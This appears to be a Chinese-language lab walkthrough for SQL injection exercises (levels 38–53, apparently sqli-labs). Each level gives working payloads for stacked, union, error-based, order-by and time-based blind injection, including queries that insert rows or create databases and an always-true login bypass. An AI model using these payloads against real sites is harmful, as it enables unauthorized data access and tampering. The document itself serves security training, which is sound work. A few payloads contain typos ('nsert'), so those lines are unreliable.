less 38
“基于字符型的堆叠注入”
Payload:
1.?id=-1’ union select 1,database(),3 --+
同less 1
2.?id=1;CREATE DATABASE sq default charset utf8; --+ //查询id为1的用户名密码,同时创建名为sq的数据库
知识点:
- Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。mysqli_multi_query() 函数执行一个或多个针对数据库的查询。
- 在SQL中,分号(;)是用来表示一条sql语句的结束。
- 联合注入与堆叠注入的区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
- 堆叠注入具有一定的局限性。
- X显示数据库
less 39
“基于数字型的堆叠注入“
Payload:
?id=-1 union select 1,database(),3
同less 38
?id=1;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+ /插入数据/
less 40
“基于’)的盲注堆叠注入“
Payload:
?id=-1’) union select 1,database(),3 --+
同less 38
?id=1;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+
less 41
“基于数字型的盲注堆叠注入”
Payload:
?id=-1 union select 1,database(),3
同less 39
?id=1;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+ /插入数据/
less 42
“基于‘字符型的堆叠注入“
注入语句:
在password处进行注入
admin’ union select 1,database(),3 --+
同less 38
admin’;insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+
less 43
“基于’)字符型的堆叠注入”
注入语句:
在password处进行注入
admin’) union select 1,database(),3 --+
admin’);insert into users values(17,“yyyyyyyx”,“yyyyyyyx”) --+
同 less 42
less 44
“基于’的堆叠注入“
使用各种特殊符号页面都不提示错误信息,无法进行报错注入。
注入语句:
在password处进行注入
1.111’ or 1–+ //万能密码。即闭合方式是单引号
2.111’; nsert into users values(17,“yyyyyyyx”,“yyyyyyyx”)–+
同 less 43
less 45
“基于’)的堆叠注入“
注入语句:
111’) or 1–+
111’); nsert into users values(17,“yyyyyyyx”,“yyyyyyyx”)–+
同less 44
less 46
“order by注入“
Payload:
1.?sort=1 / ?sort=2 / ?sort=3 / ?sort=4 //测试出sql为select * from users order by $id
2.?sort=1 desc //通过desc(降序)或asc(升序)来判断是否存在注入
3.?sort=1 and updatexml(1,concat(0x7e,database()),1) //获得数据库
知识点:
- 可以通过asc 和desc查看返回数据是否相同来简单判断是否存在orderby注入。
- order by后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。order by 后面不可以跟union。
- 利用报错方式:
(1) 返回多条记录
(2) 利用regexp
(3) 利用updatexml
(4) 利用extractvalue - 还可以基于时间盲注
less 47
“基于‘字符串的order by注入“
Payload:
?sort=1’ //根据错误信息判断,闭合方式为单引号
?sort=1’ and updatexml(1,concat(0x7e,database()),1) --+ //获得数据库
同less 46
less 48
“数值型盲注”
因为报错关闭,所以我们进行盲注猜测
Payload:
?sort=1 and updatexml(1,concat(0x7e,database()),1) //没有反应即报错关闭
?sort=(if(length(database())>1,1,sleep(5))) //用延迟时间注入,来获得数据库长度
参考less 9
less 49
“基于‘的字符型盲注”
因为报错关闭,所以我们进行盲注猜测
Payload:
?sort=1’ and if(length(database())>1,1,sleep(5)) --+
同less 48
less 50
“数字型order by注入,堆叠注入”
Payload:
?sort=1;insert into users values(252,‘252’,‘252’); //插入数据
?sort=1 and updatexml(1,concat(0x7e,database()),1) //获得数据库
同less 46
less 51
“基于‘的字符串order by注入,堆叠注入”
Payload:
?sort=1’ and updatexml(1,concat(0x7e,database()),1) --+
同less 47
less 52
“数字型注入”
报错关闭,不能进行报错注入
同less 48
less 53
“基于‘的字符串注入”
同样报错关闭,不能进行报错注入
同less 49